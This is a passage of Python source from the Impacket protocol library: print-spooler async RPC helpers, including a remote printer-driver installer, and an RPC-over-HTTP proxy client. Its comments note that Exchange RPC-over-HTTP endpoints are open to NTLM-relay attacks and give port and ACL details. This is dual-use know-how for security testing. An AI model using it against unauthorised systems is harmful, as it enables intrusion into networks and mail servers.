(RpcAsyncEnumPrinterDrivers, RpcAsyncEnumPrinterDriversResponse),\n    41 : (RpcAsyncGetPrinterDriverDirectory, RpcAsyncGetPrinterDriverDirectoryResponse)\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hRpcAsyncClosePrinter(dce, phPrinter):\n    \"\"\"\n    RpcClosePrinter closes a handle to a printer object, server object, job object, or port object.\n    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244768.aspx\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param PRINTER_HANDLE phPrinter: A handle to a printer object, server object, job object, or port object.\n\n    :return: a RpcClosePrinterResponse instance, raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcAsyncClosePrinter()\n    request['phPrinter'] = phPrinter\n    return dce.request(request, MSRPC_UUID_WINSPOOL)\n\n\ndef hRpcAsyncOpenPrinter(dce, printerName, pDatatype=NULL, pDevModeContainer=NULL, accessRequired=SERVER_READ,\n                      pClientInfo=NULL):\n    \"\"\"\n    RpcOpenPrinterEx retrieves a handle for a printer, port, port monitor, print job, or print server\n    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244809.aspx\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param string printerName: A string for a printer connection, printer object, server object, job object, port\n    object, or port monitor object. This MUST be a Domain Name System (DNS), NetBIOS, Internet Protocol version 4\n    (IPv4), Internet Protocol version 6 (IPv6), or Universal Naming Convention (UNC) name that remote procedure\n    call (RpcAsync) binds to, and it MUST uniquely identify a print server on the network.\n    :param string pDatatype: A string that specifies the data type to be associated with the printer handle.\n    :param DEVMODE_CONTAINER pDevModeContainer: A DEVMODE_CONTAINER structure. This parameter MUST adhere to the specification in\n    DEVMODE_CONTAINER Parameters (section 3.1.4.1.8.1).\n    :param int accessRequired: The access level that the client requires for interacting with the object to which a\n    handle is being opened.\n    :param SPLCLIENT_CONTAINER pClientInfo: This parameter MUST adhere to the specification in SPLCLIENT_CONTAINER Parameters.\n\n    :return: a RpcOpenPrinterExResponse instance, raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcAsyncOpenPrinter()\n    request['pPrinterName'] = checkNullString(printerName)\n    request['pDatatype'] = pDatatype\n    if pDevModeContainer is NULL:\n        request['pDevModeContainer']['pDevMode'] = NULL\n    else:\n        request['pDevModeContainer'] = pDevModeContainer\n\n    request['AccessRequired'] = accessRequired\n    if pClientInfo is NULL:\n        raise Exception('pClientInfo cannot be NULL')\n\n    request['pClientInfo'] = pClientInfo\n    return dce.request(request, MSRPC_UUID_WINSPOOL)\n\n\ndef hRpcAsyncEnumPrinters(dce, flags, name = NULL, level = 1):\n    \"\"\"\n    RpcEnumPrinters enumerates available printers, print servers, domains, or print providers.\n    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244794.aspx\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param int flags: The types of print objects that this method enumerates. The value of this parameter is the\n    result of a bitwise OR of one or more of the Printer Enumeration Flags (section 2.2.3.7).\n    :param string name: NULL or a server name parameter as specified in Printer Server Name Parameters (section 3.1.4.1.4).\n    :param level: The level of printer information structure.\n\n    :return: a RpcEnumPrintersResponse instance, raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcAsyncEnumPrinters()\n    request['Flags'] = flags\n    request['Name'] = name\n    request['pPrinterEnum'] = NULL\n    request['Level'] = level\n    bytesNeeded = 0\n    try:\n        dce.request(request, MSRPC_UUID_WINSPOOL)\n    except DCERPCSessionError as e:\n        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:\n            raise\n        bytesNeeded = e.get_packet()['pcbNeeded']\n\n    request = RpcAsyncEnumPrinters()\n    request['Flags'] = flags\n    request['Name'] = name\n    request['Level'] = level\n\n    request['cbBuf'] = bytesNeeded\n    request['pPrinterEnum'] = b'a' * bytesNeeded\n    return dce.request(request, MSRPC_UUID_WINSPOOL)\n\n\ndef hRpcAsyncAddPrinterDriver(dce, pName, pDriverContainer, dwFileCopyFlags):\n    \"\"\"\n    RpcAddPrinterDriverEx installs a printer driver on the print server\n    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param pName\n    :param pDriverContainer\n    :param dwFileCopyFlags\n\n    :return: raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcAsyncAddPrinterDriver()\n    request['pName'] = checkNullString(pName)\n    request['pDriverContainer'] = pDriverContainer\n    request['dwFileCopyFlags'] = dwFileCopyFlags\n\n    #return request\n    return dce.request(request, MSRPC_UUID_WINSPOOL)\n\n\ndef hRpcAsyncEnumPrinterDrivers(dce, pName, pEnvironment, Level):\n    \"\"\"\n    RpcEnumPrinterDrivers enumerates the printer drivers installed on a specified print server.\n    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param pName\n    :param pEnvironment\n    :param Level\n    :param pDrivers\n    :param cbBuf\n    :param pcbNeeded\n    :param pcReturned\n\n    :return: raises DCERPCSessionError on error.\n    \"\"\"\n    # get value for cbBuf\n    request = RpcAsyncEnumPrinterDrivers()\n    request['pName']        = checkNullString(pName)\n    request['pEnvironment'] = pEnvironment\n    request['Level']        = Level\n    request['pDrivers']     = NULL\n    request['cbBuf']        = 0\n    try:\n        dce.request(request, MSRPC_UUID_WINSPOOL)\n    except DCERPCSessionError as e:\n        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:\n            raise\n        bytesNeeded = e.get_packet()['pcbNeeded']\n\n    # now do RpcEnumPrinterDrivers again\n    request = RpcAsyncEnumPrinterDrivers()\n    request['pName']        = checkNullString(pName)\n    request['pEnvironment'] = pEnvironment\n    request['Level']        = Level\n    request['pDrivers']     = b'a' * bytesNeeded\n    request['cbBuf']        = bytesNeeded\n\n    #return request\n    return dce.request(request, MSRPC_UUID_WINSPOOL)\n\ndef hRpcAsyncGetPrinterDriverDirectory(dce, pName, pEnvironment, Level):\n    \"\"\"\n    RpcAsyncGetPrinterDriverDirectory retrieves the path of the printer driver directory.\n    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/92206fb2-dd31-47f4-8d12-4cd239b71d78\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param pName\n    :param pEnvironment\n    :param Level\n    :param pDriverDirectory\n    :param cbBuf\n    :param pcbNeeded\n\n    :return: raises DCERPCSessionError on error.\n    \"\"\"\n    # get value for cbBuf\n    request = RpcAsyncGetPrinterDriverDirectory()\n    request['pName']            = checkNullString(pName)\n    request['pEnvironment']     = pEnvironment\n    request['Level']            = Level\n    request['pDriverDirectory'] = NULL\n    request['cbBuf']            = 0\n    try:\n        dce.request(request, MSRPC_UUID_WINSPOOL)\n    except DCERPCSessionError as e:\n        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:\n            raise\n        bytesNeeded = e.get_packet()['pcbNeeded']\n    \n    # now do RpcGetPrinterDriverDirectory again\n    request = RpcAsyncGetPrinterDriverDirectory()\n    request['pName']            = checkNullString(pName)\n    request['pEnvironment']     = pEnvironment\n    request['Level']            = Level\n    request['pDriverDirectory'] = b'a' * bytesNeeded\n    request['cbBuf']            = bytesNeeded\n    \n    return dce.request(request, MSRPC_UUID_WINSPOOL)\n"
  },
  {
    "path": "impacket/dcerpc/v5/rpch.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Initial [MS-RCPH] Interface implementation\n#\n# Author:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n\nimport re\nimport binascii\nfrom struct import unpack\n\nfrom impacket import uuid, ntlm, system_errors, nt_errors, LOG\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nfrom impacket.uuid import EMPTY_UUID\nfrom impacket.http import HTTPClientSecurityProvider, AUTH_BASIC\nfrom impacket.structure import Structure\nfrom impacket.dcerpc.v5.rpcrt import MSRPCHeader, \\\n    MSRPC_RTS, PFC_FIRST_FRAG, PFC_LAST_FRAG\n\nclass RPCProxyClientException(DCERPCException):\n    parser = re.compile(r'RPC Error: ([a-fA-F0-9]{1,8})')\n\n    def __init__(self, error_string=None, proxy_error=None):\n        rpc_error_code = None\n\n        if proxy_error is not None:\n            try:\n                search = self.parser.search(proxy_error)\n                rpc_error_code = int(search.group(1), 16)\n            except:\n                error_string += ': ' + proxy_error\n\n        DCERPCException.__init__(self, error_string, rpc_error_code)\n\n    def __str__(self):\n        if self.error_code is not None:\n            key = self.error_code\n            if key in system_errors.ERROR_MESSAGES:\n                error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n                return '%s, code: 0x%x - %s' % (self.error_string, self.error_code, error_msg_short)\n            elif key in nt_errors.ERROR_MESSAGES:\n                error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n                return '%s, code: 0x%x - %s' % (self.error_string, self.error_code, error_msg_short)\n            else:\n                return '%s: unknown code: 0x%x' % (self.error_string, self.error_code)\n        else:\n            return self.error_string\n\n################################################################################\n# CONSTANTS\n################################################################################\n\nRPC_OVER_HTTP_v1 = 1\nRPC_OVER_HTTP_v2 = 2\n\n# Errors which might need handling\n\n# RPCProxyClient internal errors\nRPC_PROXY_REMOTE_NAME_NEEDED_ERR = 'Basic authentication in RPC proxy is used, ' \\\n                                   'so coudn\\'t obtain a target NetBIOS name from NTLMSSP to connect.'\n\n# Errors below contain a part of server responses\nRPC_PROXY_INVALID_RPC_PORT_ERR = 'Invalid RPC Port'\nRPC_PROXY_CONN_A1_0X6BA_ERR    = 'RPC Proxy CONN/A1 request failed, code: 0x6ba'\nRPC_PROXY_CONN_A1_404_ERR      = 'CONN/A1 request failed: HTTP/1.1 404 Not Found'\nRPC_PROXY_RPC_OUT_DATA_404_ERR = 'RPC_OUT_DATA channel: HTTP/1.1 404 Not Found'\nRPC_PROXY_CONN_A1_401_ERR      = 'CONN/A1 request failed: HTTP/1.1 401 Unauthorized'\nRPC_PROXY_HTTP_IN_DATA_401_ERR = 'RPC_IN_DATA channel: HTTP/1.1 401 Unauthorized'\n\n\n# 2.2.3.3 Forward Destinations\nFDClient   = 0x00000000\nFDInProxy  = 0x00000001\nFDServer   = 0x00000002\nFDOutProxy = 0x00000003\n\nRTS_FLAG_NONE            = 0x0000\nRTS_FLAG_PING            = 0x0001\nRTS_FLAG_OTHER_CMD       = 0x0002\nRTS_FLAG_RECYCLE_CHANNEL = 0x0004\nRTS_FLAG_IN_CHANNEL      = 0x0008\nRTS_FLAG_OUT_CHANNEL     = 0x0010\nRTS_FLAG_EOF             = 0x0020\nRTS_FLAG_ECHO            = 0x0040\n\n# 2.2.3.5 RTS Commands\nRTS_CMD_RECEIVE_WINDOW_SIZE      = 0x00000000\nRTS_CMD_FLOW_CONTROL_ACK         = 0x00000001\nRTS_CMD_CONNECTION_TIMEOUT       = 0x00000002\nRTS_CMD_COOKIE                   = 0x00000003\nRTS_CMD_CHANNEL_LIFETIME         = 0x00000004\nRTS_CMD_CLIENT_KEEPALIVE         = 0x00000005\nRTS_CMD_VERSION                  = 0x00000006\nRTS_CMD_EMPTY                    = 0x00000007\nRTS_CMD_PADDING                  = 0x00000008\nRTS_CMD_NEGATIVE_ANCE            = 0x00000009\nRTS_CMD_ANCE                     = 0x0000000A\nRTS_CMD_CLIENT_ADDRESS           = 0x0000000B\nRTS_CMD_ASSOCIATION_GROUP_ID     = 0x0000000C\nRTS_CMD_DESTINATION              = 0x0000000D\nRTS_CMD_PING_TRAFFIC_SENT_NOTIFY = 0x0000000E\n\n################################################################################\n# STRUCTURES\n################################################################################\n\n# 2.2.3.1 RTS Cookie\nclass RTSCookie(Structure):\n    structure = (\n        ('Cookie','16s=b\"\\\\x00\"*16'),\n    )\n\n# 2.2.3.2 Client Address\nclass EncodedClientAddress(Structure):\n    structure = (\n        ('AddressType','<L=(0 if len(ClientAddress) == 4 else 1)'),\n        ('_ClientAddress','_-ClientAddress','4 if AddressType == 0 else 16'),\n        ('ClientAddress',':'),\n        ('Padding','12s=b\"\\\\x00\"*12'),\n    )\n\n# 2.2.3.4 Flow Control Acknowledgment\nclass Ack(Structure):\n    structure = (\n        ('BytesReceived','<L=0'),\n        ('AvailableWindow','<L=0'),\n        ('ChannelCookie',':',RTSCookie),\n    )\n\n# 2.2.3.5.1 ReceiveWindowSize\nclass ReceiveWindowSize(Structure):\n    structure = (\n        ('CommandType','<L=0'),\n        ('ReceiveWindowSize','<L=262144'),\n    )\n\n# 2.2.3.5.2 FlowControlAck\nclass FlowControlAck(Structure):\n    structure = (\n        ('CommandType','<L=1'),\n        ('Ack',':',Ack),\n    )\n\n# 2.2.3.5.3 ConnectionTimeout\nclass ConnectionTimeout(Structure):\n    structure = (\n        ('CommandType','<L=2'),\n        ('ConnectionTimeout','<L=120000'),\n    )\n\n# 2.2.3.5.4 Cookie\nclass Cookie(Structure):\n    structure = (\n        ('CommandType','<L=3'),\n        ('Cookie',':',RTSCookie),\n    )\n\n# 2.2.3.5.5 ChannelLifetime\nclass ChannelLifetime(Structure):\n    structure = (\n        ('CommandType','<L=4'),\n        ('ChannelLifetime','<L=1073741824'),\n    )\n\n# 2.2.3.5.6 ClientKeepalive\n#\n# By the spec, ClientKeepalive value can be 0 or in the inclusive\n# range of 60,000 through 4,294,967,295.\n# If it is 0, it MUST be interpreted as 300,000.\n#\n# But do not set it to 0, it will cause 0x6c0 rpc error.\nclass ClientKeepalive(Structure):\n    structure = (\n        ('CommandType','<L=5'),\n        ('ClientKeepalive','<L=300000'),\n    )\n\n# 2.2.3.5.7 Version\nclass Version(Structure):\n    structure = (\n        ('CommandType','<L=6'),\n        ('Version','<L=1'),\n    )\n\n# 2.2.3.5.8 Empty\nclass Empty(Structure):\n    structure = (\n        ('CommandType','<L=7'),\n    )\n\n# 2.2.3.5.9 Padding\nclass Padding(Structure):\n    structure = (\n        ('CommandType','<L=8'),\n        ('ConformanceCount','<L=len(Padding)'),\n        ('Padding','*ConformanceCount'),\n    )\n\n# 2.2.3.5.10 NegativeANCE\nclass NegativeANCE(Structure):\n    structure = (\n        ('CommandType','<L=9'),\n    )\n\n# 2.2.3.5.11 ANCE\nclass ANCE(Structure):\n    structure = (\n        ('CommandType','<L=0xA'),\n    )\n\n# 2.2.3.5.12 ClientAddress\nclass ClientAddress(Structure):\n    structure = (\n        ('CommandType','<L=0xB'),\n        ('ClientAddress',':',EncodedClientAddress),\n    )\n\n# 2.2.3.5.13 AssociationGroupId\nclass AssociationGroupId(Structure):\n    structure = (\n        ('CommandType','<L=0xC'),\n        ('AssociationGroupId',':',RTSCookie),\n    )\n\n# 2.2.3.5.14 Destination\nclass Destination(Structure):\n    structure = (\n        ('CommandType','<L=0xD'),\n        ('Destination','<L'),\n    )\n\n# 2.2.3.5.15 PingTrafficSentNotify\nclass PingTrafficSentNotify(Structure):\n    structure = (\n        ('CommandType','<L=0xE'),\n        ('PingTrafficSent','<L'),\n    )\n\nCOMMANDS = {\n    0x0: ReceiveWindowSize,\n    0x1: FlowControlAck,\n    0x2: ConnectionTimeout,\n    0x3: Cookie,\n    0x4: ChannelLifetime,\n    0x5: ClientKeepalive,\n    0x6: Version,\n    0x7: Empty,\n    0x8: Padding,\n    0x9: NegativeANCE,\n    0xA: ANCE,\n    0xB: ClientAddress,\n    0xC: AssociationGroupId,\n    0xD: Destination,\n    0xE: PingTrafficSentNotify,\n}\n\n# 2.2.3.6.1 RTS PDU Header\n# The RTS PDU Header has the same layout as the common header of\n# the connection-oriented RPC PDU as specified in [C706] section 12.6.1,\n# with a few additional requirements around the contents of the header fields.\nclass RTSHeader(MSRPCHeader):\n    _SIZE = 20\n    commonHdr = MSRPCHeader.commonHdr + (\n        ('Flags','<H=0'),             # 16\n        ('NumberOfCommands','<H=0'),  # 18\n    )\n\n    def __init__(self, data=None, alignment=0):\n        MSRPCHeader.__init__(self, data, alignment)\n        self['type'] = MSRPC_RTS\n        self['flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG\n        self['auth_length'] = 0\n        self['call_id'] = 0\n\n# 2.2.4.2 CONN/A1 RTS PDU\n#\n# The CONN/A1 RTS PDU MUST be sent from the client to the outbound proxy on the OUT channel to\n# initiate the establishment of a virtual connection.\nclass CONN_A1_RTS_PDU(Structure):\n    structure = (\n        ('Version',':',Version),\n        ('VirtualConnectionCookie',':',Cookie),\n        ('OutChannelCookie',':',Cookie),\n        ('ReceiveWindowSize',':',ReceiveWindowSize),\n    )\n\n# 2.2.4.5 CONN/B1 RTS PDU\n#\n# The CONN/B1 RTS PDU MUST be sent from the client to the inbound proxy on the IN channel to\n# initiate the establishment of a virtual connection.\nclass CONN_B1_RTS_PDU(Structure):\n    structure = (\n        ('Version',':',Version),\n        ('VirtualConnectionCookie',':',Cookie),\n        ('INChannelCookie',':',Cookie),\n        ('ChannelLifetime',':',ChannelLifetime),\n        ('ClientKeepalive',':',ClientKeepalive),\n        ('AssociationGroupId',':',AssociationGroupId),\n    )\n\n# 2.2.4.4 CONN/A3 RTS PDU\n#\n# The CONN/A3 RTS PDU MUST be sent from the outbound proxy to the client on the OUT channel to\n# continue the establishment of the virtual connection.\nclass CONN_A3_RTS_PDU(Structure):\n    structure = (\n        ('ConnectionTimeout',':',ConnectionTimeout),\n    )\n\n# 2.2.4.9 CONN/C2 RTS PDU\n#\n# The CONN/C2 RTS PDU MUST be sent from the outbound proxy to the client on the OUT channel to\n# notify it that a virtual connection has been established.\nclass CONN_C2_RTS_PDU(Structure):\n    structure = (\n        ('Version',':',Version),\n        ('ReceiveWindowSize',':',ReceiveWindowSize),\n        ('ConnectionTimeout',':',ConnectionTimeout),\n    )\n\n# 2.2.4.51 FlowControlAckWithDestination RTS PDU\nclass FlowControlAckWithDestination_RTS_PDU(Structure):\n    structure = (\n        ('Destination',':',Destination),\n        ('FlowControlAck',':',FlowControlAck),\n    )\n\n################################################################################\n# HELPERS\n################################################################################\ndef hCONN_A1(virtualConnectionCookie=EMPTY_UUID, outChannelCookie=EMPTY_UUID, receiveWindowSize=262144):\n    conn_a1 = CONN_A1_RTS_PDU()\n    conn_a1['Version'] = Version()\n    conn_a1['VirtualConnectionCookie'] = Cookie()\n    conn_a1['VirtualConnectionCookie']['Cookie'] = virtualConnectionCookie\n    conn_a1['OutChannelCookie'] = Cookie()\n    conn_a1['OutChannelCookie']['Cookie'] = outChannelCookie\n    conn_a1['ReceiveWindowSize'] = ReceiveWindowSize()\n    conn_a1['ReceiveWindowSize']['ReceiveWindowSize'] = receiveWindowSize\n\n    packet = RTSHeader()\n    packet['Flags'] = RTS_FLAG_NONE\n    packet['NumberOfCommands'] = len(conn_a1.structure)\n    packet['pduData'] = conn_a1.getData()\n\n    return packet.getData()\n\ndef hCONN_B1(virtualConnectionCookie=EMPTY_UUID, inChannelCookie=EMPTY_UUID, associationGroupId=EMPTY_UUID):\n    conn_b1 = CONN_B1_RTS_PDU()\n    conn_b1['Version'] = Version()\n    conn_b1['VirtualConnectionCookie'] = Cookie()\n    conn_b1['VirtualConnectionCookie']['Cookie'] = virtualConnectionCookie\n    conn_b1['INChannelCookie'] = Cookie()\n    conn_b1['INChannelCookie']['Cookie'] = inChannelCookie\n    conn_b1['ChannelLifetime'] = ChannelLifetime()\n    conn_b1['ClientKeepalive'] = ClientKeepalive()\n    conn_b1['AssociationGroupId'] = AssociationGroupId()\n    conn_b1['AssociationGroupId']['AssociationGroupId'] = RTSCookie()\n    conn_b1['AssociationGroupId']['AssociationGroupId']['Cookie'] = associationGroupId\n\n    packet = RTSHeader()\n    packet['Flags'] = RTS_FLAG_NONE\n    packet['NumberOfCommands'] = len(conn_b1.structure)\n    packet['pduData'] = conn_b1.getData()\n\n    return packet.getData()\n\ndef hFlowControlAckWithDestination(destination, bytesReceived, availableWindow, channelCookie):\n    rts_pdu = FlowControlAckWithDestination_RTS_PDU()\n    rts_pdu['Destination'] = Destination()\n    rts_pdu['Destination']['Destination'] = destination\n    rts_pdu['FlowControlAck'] = FlowControlAck()\n    rts_pdu['FlowControlAck']['Ack'] = Ack()\n    rts_pdu['FlowControlAck']['Ack']['BytesReceived'] = bytesReceived\n    rts_pdu['FlowControlAck']['Ack']['AvailableWindow'] = availableWindow\n\n    # Cookie of the channel for which the traffic received is being acknowledged\n    rts_pdu['FlowControlAck']['Ack']['ChannelCookie'] = RTSCookie()\n    rts_pdu['FlowControlAck']['Ack']['ChannelCookie']['Cookie'] = channelCookie\n\n    packet = RTSHeader()\n    packet['Flags'] = RTS_FLAG_OTHER_CMD\n    packet['NumberOfCommands'] = len(rts_pdu.structure)\n    packet['pduData'] = rts_pdu.getData()\n\n    return packet.getData()\n\ndef hPing():\n    packet = RTSHeader()\n    packet['Flags'] = RTS_FLAG_PING\n\n    return packet.getData()\n\n################################################################################\n# CLASSES\n################################################################################\nclass RPCProxyClient(HTTPClientSecurityProvider):\n    RECV_SIZE = 8192\n    default_headers = {'User-Agent'   : 'MSRPC',\n                       'Cache-Control': 'no-cache',\n                       'Connection'   : 'Keep-Alive',\n                       'Expect'       : '100-continue',\n                       'Accept'       : 'application/rpc',\n                       'Pragma'       : 'No-cache'\n                      }\n\n    def __init__(self, remoteName=None, dstport=593):\n        HTTPClientSecurityProvider.__init__(self)\n        self.__remoteName  = remoteName\n        self.__dstport     = dstport\n\n        # Chosen auth type\n        self.__auth_type = None\n\n        self.init_state()\n\n    def init_state(self):\n        self.__channels    = {}\n\n        self.__inChannelCookie         = uuid.generate()\n        self.__outChannelCookie        = uuid.generate()\n        self.__associationGroupId      = uuid.generate()\n        self.__virtualConnectionCookie = uuid.generate()\n\n        self.__serverConnectionTimeout = None\n        self.__serverReceiveWindowSize = None\n        self.__availableWindowAdvertised = 262144 # 256k\n        self.__receiverAvailableWindow = self.__availableWindowAdvertised\n        self.__bytesReceived = 0\n\n        self.__serverChunked = False\n        self.__readBuffer = b''\n        self.__chunkLeft = 0\n\n        self.rts_ping_received = False\n\n    def set_proxy_credentials(self, username, password, domain='', lmhash='', nthash=''):\n        LOG.error(\"DeprecationWarning: Call to deprecated method set_proxy_credentials (use set_credentials).\")\n        self.set_credentials(username, password, domain, lmhash, nthash)\n\n    def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):\n        HTTPClientSecurityProvider.set_credentials(self, username, password,\n            domain, lmhash, nthash, aesKey, TGT, TGS)\n\n    def create_rpc_in_channel(self):\n        headers = self.default_headers.copy()\n        headers['Content-Length'] = '1073741824'\n\n        self.create_channel('RPC_IN_DATA', headers)\n\n    def create_rpc_out_channel(self):\n        headers = self.default_headers.copy()\n        headers['Content-Length'] = '76'\n\n        self.create_channel('RPC_OUT_DATA', headers)\n\n    def create_channel(self, method, headers):\n        self.__channels[method] = HTTPClientSecurityProvider.connect(self, self._rpcProxyUrl.scheme,\n                                    self._rpcProxyUrl.netloc)\n\n        auth_headers = HTTPClientSecurityProvider.get_auth_headers(self, self.__channels[method],\n                           method, self._rpcProxyUrl.path, headers)[0]\n\n        headers_final = {}\n        headers_final.update(headers)\n        headers_final.update(auth_headers)\n\n        self.__auth_type = HTTPClientSecurityProvider.get_auth_type(self)\n\n        # To connect to an RPC Server, we need to let the RPC Proxy know\n        # where to connect. The target RPC Server name and its port are passed\n        # in the query of the HTTP request. The target RPC Server must be the ncacn_http\n        # service.\n        #\n        # The utilized format: /rpc/rpcproxy.dll?RemoteName:RemotePort\n        #\n        # For RDG servers, you can specify localhost:3388, but in other cases you cannot\n        # use localhost as there will be no ACL for it.\n        #\n        # To know what RemoteName to use, we rely on Default ACL. It's specified\n        # in the HKLM\\SOFTWARE\\Microsoft\\Rpc\\RpcProxy key:\n        #\n        # ValidPorts    REG_SZ   COMPANYSERVER04:593;COMPANYSERVER04:49152-65535\n        #\n        # In this way, we can at least connect to the endpoint mapper on port 593.\n        # So, if the caller set remoteName to an empty string, we assume the target\n        # is the RPC Proxy server itself, and get its NetBIOS name from the NTLMSSP.\n        #\n        # Interestingly, if the administrator renames the server after RPC Proxy installation\n        # or joins the server to the domain after RPC Proxy installation, the ACL will remain\n        # the original. So, sometimes the ValidPorts values have the format WIN-JCKEDQVDOQU, and\n        # we are not able to use them.\n        #\n        # For Exchange servers, the value of the default ACL doesn't matter as they\n        # allow connections by their own mechanisms:\n        # - Exchange 2003 / 2007 / 2010 servers add their own ACL, which includes\n        #   NetBIOS names of all Exchange servers (and some other servers).\n        #   This ACL is regularly and automatically updated on each server.\n        #   Allowed ports: 6001-6004\n        #\n        #   6001 is used for MS-OXCRPC\n        #   6002 is used for MS-OXABREF\n        #   6003 is not used\n        #   6004 is used for MS-OXNSPI\n        #\n        #   Tests on Exchange 2010 show that MS-OXNSPI and MS-OXABREF are available\n        #   on both 6002 and 6004.\n        #\n        # - Exchange 2013 / 2016 / 2019 servers process RemoteName on their own\n        #   (via RpcProxyShim.dll), and the NetBIOS name format is supported only for\n        #   backward compatibility.\n        #\n        #   ! Default ACL is never used, so there is no way to connect to the endpoint mapper!\n        #\n        #   Allowed ports: 6001-6004\n        #\n        #   6001 is used for MS-OXCRPC\n        #   6002 is used for MS-OXABREF\n        #   6003 is not used\n        #   6004 is used for MS-OXNSPI\n        #\n        # Tests show that all protocols are available on the 6001 / 6002 / 6004 ports via\n        # RPC over HTTP v2, and the separation is only used for backward compatibility.\n        #\n        # The pure ncacn_http endpoint is available only on the 6001 TCP/IP port.\n        #\n        # RpcProxyShim.dll allows you to skip authentication on the RPC level to get\n        # a faster connection, and it makes Exchange 2013 / 2016 / 2019 RPC over HTTP v2\n        # endpoints vulnerable to NTLM-Relaying attacks.\n        #\n        # If the target is Exchange behind Microsoft TMG, you most likely need to specify\n        # the remote name manually using the value from /autodiscover/autodiscover.xml.\n        # Note that /autodiscover/autodiscover.xml might not be available with\n        # a non-outlook User-Agent.\n        #\n        # There may be multiple RPC Proxy servers with different NetBIOS names on\n        # a single external IP. We store the first one's NetBIOS name and use it for all\n        # the following channels.\n        # It's acceptable to assume all RPC Proxies have the same ACLs (true for Exchange).\n        if not self.__remoteName and self.__auth_type == AUTH_BASIC:\n            raise RPCProxyClientException(RPC_PROXY_REMOTE_NAME_NEEDED_ERR)\n\n        if not self.__remoteName:\n            ntlmssp = self.get_ntlmssp_info()\n            self.__remoteName = ntlmssp[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')\n            self._stringbinding.set_network_address(self.__remoteName)\n            LOG.debug('StringBinding has been changed to %s' % self._stringbinding)\n\n        if not self._rpcProxyUrl.query:\n            query = self.__remoteName + ':' + str(self.__dstport)\n            self._rpcProxyUrl = self._rpcProxyUrl._replace(query=query)\n\n        path = self._rpcProxyUrl.path + '?' + self._rpcProxyUrl.query\n\n        self.__channels[method].request(method, path, headers=headers_final)\n        self._read_100_continue(method)\n\n    def _read_100_continue(self, method):\n        resp = self.__channels[method].sock.recv(self.RECV_SIZE)\n\n        while resp.find(b'\\r\\n\\r\\n') == -1:\n            resp += self.__channels[method].sock.recv(self.RECV_SIZE)\n\n        # Continue responses can have multiple lines, for example:\n        #\n        # HTTP/1.1 100 Continue\n        # Via: 1.1 FIREWALL1\n        #\n        # Don't expect the response to contain \"100 Continue\\r\\n\\r\\n\"\n        if resp[9:23] != b'100 Continue\\r\\n':\n            try:\n                # The server (IIS) may return localized error messages in\n                # the first line. Tests shown they are in UTF-8.\n                resp = resp.split(b'\\r\\n')[0].decode(\"UTF-8\", errors='replace')\n\n                raise RPCProxyClientException('RPC Proxy Client: %s authentication failed in %s channel' %\n                    (self.__auth_type, method), proxy_error=resp)\n            except (IndexError, KeyError, AttributeError):\n                raise RPCProxyClientException('RPC Proxy Client: %s authentication failed in %s channel' %\n                    (self.__auth_type, method))\n\n    def create_tunnel(self):\n        # 3.2.1.5.3.1 Connection Establishment\n        packet = hCONN_A1(self.__virtualConnectionCookie, self.__outChannelCookie, self.__availableWindowAdvertised)\n        self.get_socket_out().send(packet)\n\n        packet = hCONN_B1(self.__virtualConnectionCookie, self.__inChannelCookie, self.__associationGroupId)\n        self.get_socket_in().send(packet)\n\n        resp = self.get_socket_out().recv(self.RECV_SIZE)\n\n        while resp.find(b'\\r\\n\\r\\n') == -1:\n            resp += self.get_socket_out().recv(self.RECV_SIZE)\n\n        if resp[9:12] != b'200':\n            try:\n                # The server (IIS) may return localized error messages in\n                # the first line. Tests shown they are in UTF-8.\n                resp = resp.split(b'\\r\\n')[0].decode(\"UTF-8\", errors='replace')\n\n                raise RPCProxyClientException('RPC Proxy CONN/A1 request failed', proxy_error=resp)\n            except (IndexError, KeyError, AttributeError):\n                raise RPCProxyClientException('RPC Proxy CONN/A1 request failed')\n\n        resp_ascii = resp.decode(\"ASCII\", errors='replace')\n        if \"transfer-encoding: chunked\" in resp_ascii.lower():\n            self.__serverChunked = True\n\n        # If the body is here, let's send it to rpc_out_recv1()\n        self.__readBuffer = resp[resp.find(b'\\r\\n\\r\\n') + 4:]\n\n        # Recieving and parsing CONN/A3\n        conn_a3_rpc = self.rpc_out_read_pkt()\n        conn_a3_pdu = RTSHeader(conn_a3_rpc)['pduData']\n        conn_a3 = CONN_A3_RTS_PDU(conn_a3_pdu)\n        self.__serverConnectionTimeout = conn_a3['ConnectionTimeout']['ConnectionTimeout']\n\n        # Recieving and parsing 